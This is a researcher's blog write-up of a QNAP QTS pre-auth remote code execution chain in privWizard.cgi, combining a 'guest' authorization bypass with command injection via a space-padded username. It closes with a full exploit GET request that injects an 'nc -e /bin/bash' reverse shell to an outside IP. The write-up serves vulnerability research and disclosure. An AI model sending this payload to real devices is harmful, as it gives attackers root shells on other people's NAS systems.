Adventures in QNAP RCEs - Part 2
January 12, 2026
Revising the QNAP TS-464
After finding my first QTS RCE, I honestly wasn't sure I would ever return to the target. However, in a moment of curiosity, I happened to be looking through QTS release notes and noticed that QNAP had recently expanded the login system. In particular, they had added two-factor/one-factor login. I figured the new functionality would translate to new pre-auth attack surface in unaudited code. While there wasn't a ton of time before the Pwn2Own registration deadline, I figured I might at as well audit the new attack surface on the off chance something turned up. Thankfully, I was again successful. Specifically, I found a chain of two bugs that when combined allowed a remote, unauthenticated attacker to execute arbitrary code as root.
The new login functionality was implemented in a new /cgi-bin/privWizard.cgi endpoint. This binary was vulnerable to what I interpret as a "partial" authorization bypass as well as a command injection vulnerability.
Technical Details
Bug 1: partial authorization bypass
The new privWizard cgi binary is responsible for (among other things) configuring two step verification for login. A user can specify a wiz_func cgi parameter that designates one of many two factor authentication actions (e.g. enabling/disabling two step verification and similar). Most of these functions are protected behind an authorization function arbitrarily named auth. Auth attempts to authorize the user based on the provided user and pwd cgi parameters as follows (simplified):
auth(cgi_struct)
{
...
user = Cgi_Find_Parameter(cgi_struct, "user");
pwd = Cgi_Find_Parameter(cgi_struct, "pwd");
...
Get_Exact_NAS_Username(user);
Check_NAS_Password(user, pwd);
...
}
An unauthenticated user should not be able to pass this function and therefore should not be able to reach the post-auth 2sv functions. However, QTS has a "guest" user that if passed to Check_NAS_Password will always pass. Typically, it is not possible to login as guest on QTS. Indeed, other binaries (most notably the authLogin cgi binary) will specifically check and fail authorization if the user provides "guest" as a username. As far as I could tell, the guest user only exists to allow unauthenticated users to access smb/nfs shares if the system administrator specifically chooses to configure them in this way. QNAP eventually patched this function to fail if the user "guest" is provided, so it seems like it was indeed an oversight.
Initially, I tried to recreate the "regular" login flow to privWizard using the guest account in an attempt to fully login as guest. While logging in as a low privileged user would not meet the strict requirements for p2o, it would greatly expand the pre-auth attack surface. The process, however, kept failing for reasons I never fully figured out. However, I ended up not needing to, as I instead found a command injection vulnerability.
Bug 2: command injection in Get_NAS_Group_List_Of_User_Ex()
Once the attacker is authenticated as "guest" they have access to several new functions. One of these functions - get_2sv_status - allows users to check if 2sv is enabled:
main()
{
...
wiz_func = Cgi_Find_Parameter(cgi_struct, "wiz_func");
...
if (strcmp(wiz_func, "get_2sv_status") == 0) {
if (auth(cgi_struct) == 0) {
get_2sv_status(cgi_struct);
}
}
}
get_2sv_status has an interesting design choice. Instead of reusing the user cgi parameter that must be included to pass auth it checks 2sv status based on a separate username parameter:
username = Cgi_Find_Parameter(cgi_struct, "username");
In practice this means that any user can check the 2sv status of any other user. So the get request "http://{victim_ip}:8080/cgi-bin/priv/privWizard.cgi?wiz_func=get_2sv_status&user=guest&pwd=PASSWORD&username=admin" allows an unauthenticated attacker to check the 2sv status of admin. This is probably not a security issue on its own, but it also means that an attacker can supply invalid values for "username".
After reading the value of the "username" cgi parameter, get_2sv_status passes this value to a few different functions, including Is_User_Group_Force_2SV_Effect which in turn calls Get_NAS_Group_List_Of_User_Ex. Get_NAS_Group_List_Of_User_Ex tries to check that "username" is a valid user before sending it to a call to snprintf and then popen. However the logic for checking the "username" cgi parameter can be bypassed:
Get_NAS_Group_List_Of_User_Ex(char *username)
{
strncpy(username_checked, username, 0x7f);
username_check[0x80] = '0';
Remove_Blank_From_String(username_checked);
if (Is_System_User(username_checked))
{
...
snprintf(cmd, 0x400, "/usr/bin/wbinfo -n \"%s\" 2>/dev/null | /bin/cut -d \' \' -f 1 |xargs /usr/bin/wbinfo --user-sids 2>/dev/null", username);
popen(cmd, "r")
...
}
...
}
Importantly, the username parameter can be longer than 0x80 characters, so an attacker can pass the username "guest" followed by 0x80 spaces and then include special bash characters to get command injection in the call to popen. In this case, the strncpy call will copy "guest" followed by 0x7b spaces to username_checked. The call to Remove_Blank_From_String will then remove these excess spaces, resulting in the check Is_System_User("guest"). Since guest is a system user this check will pass. However, the snprint/popen calls use the original, unsanitized username parameter, allowing an attacker to inject bash commands in the call to popen. Exploitation is as simple as sending the following get request:
GET http://{victim_ip}:8080/cgi-bin/priv/privWizard.cgi?wiz_func=get_2sv_status&user=guest&pwd=PASSWORD&username=guest{'%20' * 0x80}%3bnc%20-e%20%2fbin%2fbash%20192%2e168%2e4%2e1%204444
Postscript
As it happens, I found this bug the morning that submissions to p2o were due. Unfortunately, the back and forth with the team as well as my own prior committements for the day took longer than I expected and I ended up missing the deadline by a couple hours. Unsurprisingly, this or something similar must have been found by another p2o team as it was patched shortly after the event. However, between both bugs I had twice achieved my goal: pre-auth RCE in a p2o target. Perhaps if p2o IoT ever comes back to the US I will participate in the future.